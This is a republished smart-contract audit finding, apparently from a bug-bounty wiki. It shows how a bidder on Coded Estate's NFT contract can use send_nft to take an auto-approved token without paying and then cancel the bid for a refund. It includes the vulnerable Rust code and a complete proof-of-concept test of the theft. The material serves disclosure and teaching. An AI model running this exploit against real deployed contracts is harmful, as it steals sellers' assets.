Skip to content
Business logic Audit finding Intermediate

Adversary can use send_nft to bypass the payment and steal seller’s token in auto-approve scenario

When a seller enables auto-approve, a bidder gains approval to transfer the token. The bidder can use the send_nft function, which lacks payment settlement logic, to transfer the token to their own contract without paying, then cancel the bid for a refund.

nnez Follow with Ch_301

Originally disclosed on Code4rena

Submitted by nnez, also found by Ch_301

This vulnerability allows malicious actor to steal tokens without payment when auto-approve is enabled.

Description

The bug arises from an oversight in the token transfer mechanisms when auto_approve is set to true. While the transfer_nft function includes logic for settling payments, the send_nft function does not.

When a seller enables auto_approve, a bidder is granted approval of the token upon calling the setbidtobuy function. This approval is intended to allow the buyer to use transfer_nft to complete the trade, as this function handles both the token transfer and payment settlement.

However, the contract fails to account for the send_nft function, which can also be used to transfer tokens. Unlike transfer_nft, send_nft does not include any trade settlement logic:

File: contracts/codedestate/src/execute.rs
fn send_nft(
    &self,
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    contract: String,
    token_id: String,
    msg: Binary,
) -> Result<Response<C>, ContractError> {
    // Transfer token
    self._transfer_nft(deps, &env, &info, &contract, &token_id)?; // @c4-contest: just transfer token, no trade settlement logic

    let send = Cw721ReceiveMsg {
        sender: info.sender.to_string(),
        token_id: token_id.clone(),
        msg,
    };

    // Send message
    Ok(Response::new()
        .add_message(send.into_cosmos_msg(contract.clone())?)
        .add_attribute("action", "send_nft")
        .add_attribute("sender", info.sender)
        .add_attribute("recipient", contract)
        .add_attribute("token_id", token_id))
}

pub fn _transfer_nft(
    &self,
    deps: DepsMut,
    env: &Env,
    info: &MessageInfo,
    recipient: &str,
    token_id: &str,
) -> Result<Response<C>, ContractError> {
    let mut token = self.tokens.load(deps.storage, token_id)?;
    // ensure we have permissions
    self.check_can_send(deps.as_ref(), env, info, &token)?;
    // set owner and remove existing approvals
    token.owner = deps.api.addr_validate(recipient)?;
    token.approvals = vec![];

    self.tokens.save(deps.storage, token_id, &token)?;
    Ok(Response::new()
    .add_attribute("action", "_transfer_nft")
    .add_attribute("sender", info.sender.clone())
    .add_attribute("token_id", token_id))
}

This oversight allows a malicious buyer to exploit the system through the following steps:

  1. Place a bid on a token with auto_approve set to true, gaining approval.
  2. Use send_nft to transfer the token to their own custom contract that implements Cw721ReceiveMsg, bypassing payment.
  3. Cancel their original bid to receive a full refund.

This exploit effectively allows the attacker to steal the token from the seller without providing any payment to the seller.

Proof-of-Concept

The following test demonstrates the described scenario where victim set their token on sale with auto_approve set to true:

Boilerplate for PoC here.

  1. Replace everything in contracts/codedestate/src/multi_tests.rs with boilerplate from above secret gist.
  2. Insert below test:
#[test]
fn h4_bid_and_send_nft() {

    // Implementation for Mock contract (empty)
    use cosmwasm_std::entry_point;
    use cosmwasm_schema::cw_serde;
    use cosmwasm_std::{Binary, Deps, DepsMut, Env, MessageInfo, Response, StdResult};

    #[cw_serde]
    pub struct Cw721ReceiveMsg {
        pub sender: String,
        pub token_id: String,
        pub msg: Binary,
    }
    #[cw_serde]
    pub enum MockExecuteMsg {
        ReceiveNft(Cw721ReceiveMsg),
    }

    #[entry_point]
    pub fn mock_instantiate(
        _deps: DepsMut,
        _env: Env,
        _info: MessageInfo,
        _msg: Binary,
    ) -> StdResult<Response> {
        Ok(Response::default())
    }

    #[entry_point]
    pub fn mock_execute(
        _deps: DepsMut,
        _env: Env,
        _info: MessageInfo,
        msg: MockExecuteMsg,
    ) -> StdResult<Response> {
        Ok(Response::default())
    }

    #[entry_point]
    pub fn mock_query(_deps: Deps, _env: Env, _msg: Binary) -> StdResult<Binary> {
        Ok(Binary::default())
    }

    let (mut app, contract_addr) = mock_app_init_contract();

    // Create an empty contract instance
    let empty_contract = ContractWrapper::new(mock_execute, mock_instantiate, mock_query);
    let empty_contract_id = app.store_code(Box::new(empty_contract));
    let msg: Binary = Default::default();
    let empty_contract_addr = app.instantiate_contract(
        empty_contract_id,
        Addr::unchecked(ADMIN),
        &msg,
        &[],
        "Empty contract",
        None,
    ).unwrap();

    // Victim mints a new token
    execute_mint(&mut app, &contract_addr, MINTER, TOKEN_ID);
    // Asserts that token is minted
    assert_eq!(query_token_count(&app, &contract_addr.to_string()), 1);

    // Victim lists token for sale, set auto_approve to true
    let set_list_for_sell_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForSell {
        islisted: true,
        token_id: TOKEN_ID.to_string(),
        denom: USDC.to_string(),
        price: 1000,
        auto_approve: true
    };
    let res = app.execute_contract(
        Addr::unchecked(MINTER),
        contract_addr.clone(),
        &set_list_for_sell_msg,
        &[],
    );
    assert!(res.is_ok());

    // Attacker: give me the monay!
    const ATTACKER: &str = "attacker";
    init_usdc_balance(&mut app, ATTACKER, 1000);

    // Attacker bids on victim's token
    let set_bid_to_buy_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetBidToBuy {
        token_id: TOKEN_ID.to_string()
     };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_bid_to_buy_msg,
        &[Coin {
            denom: USDC.to_string(),
            amount: Uint128::new(1000),
        }],
    );
    assert!(res.is_ok()); // Everything is ok

    // Asserts that the token owner is victim (before attacker's exploitation)
    assert_eq!(query_token_owner(&app, &contract_addr.to_string(), TOKEN_ID), MINTER);

    // Instead of using transfer_nft, attacker uses send_nft to bypass the payment
    let send_nft_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SendNft {
        contract: empty_contract_addr.to_string(), // attacker-controlled contract
        token_id: TOKEN_ID.to_string(),
        msg: Binary::default()
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &send_nft_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok

    // Asserts that attacker-controlled contract is now the owner of the token
    assert_eq!(query_token_owner(&app, &contract_addr.to_string(), TOKEN_ID), empty_contract_addr);

    assert_eq!(query_usdc_balance(&app, ATTACKER), 0);
    // Attacker cancels the bid, getting refunded
    let set_bid_to_buy_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetBidToBuy {
        token_id: TOKEN_ID.to_string()
     };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_bid_to_buy_msg,
        &[],
    );
    assert!(res.is_ok());
    // Asserts that Attacker gets their money back and victim (MINTER) gets nothing
    assert_eq!(query_usdc_balance(&app, ATTACKER), 1000);
    assert_eq!(query_usdc_balance(&app, MINTER), 0);
}
  1. Run cargo test h4_bid_and_send_nft -- --nocapture.
  2. Observe that the test passes, indicating that the described scenario is valid.

Recommended Mitigation

Disallow the use of send_nft when token is on sale.

Assessed type

Context

blockchainstar12 (Coded Estate) acknowledged


The original report as published on Code4rena, by nnez. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The send_nft function does not include the trade settlement logic that transfer_nft has, so it can be used to bypass payment when auto-approve is enabled.

Impact

The attacker steals the token without paying, and the seller receives nothing.

What the attacker needed

Seller enables auto_approve; attacker has a bidder account; attacker can deploy a contract

The fix

The use of send_nft should be disallowed when the token is on sale.

How it was found

  1. Victim lists a token for sale with auto_approve set to true.
  2. Attacker places a bid on the token, gaining approval.
  3. Attacker calls send_nft to transfer the token to their own contract.
  4. Attacker cancels the bid and receives a refund.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this smart contract, when a seller lists a token with auto-approve, a bidder is automatically allowed to move the token. The bidder can use a different transfer function that does not check for payment, send the token to themselves, and then cancel their bid to get their money back. This means the seller loses the token without getting paid.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by nnez

View all

32 more disclosed reports, best first.

More from Coded Estate Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.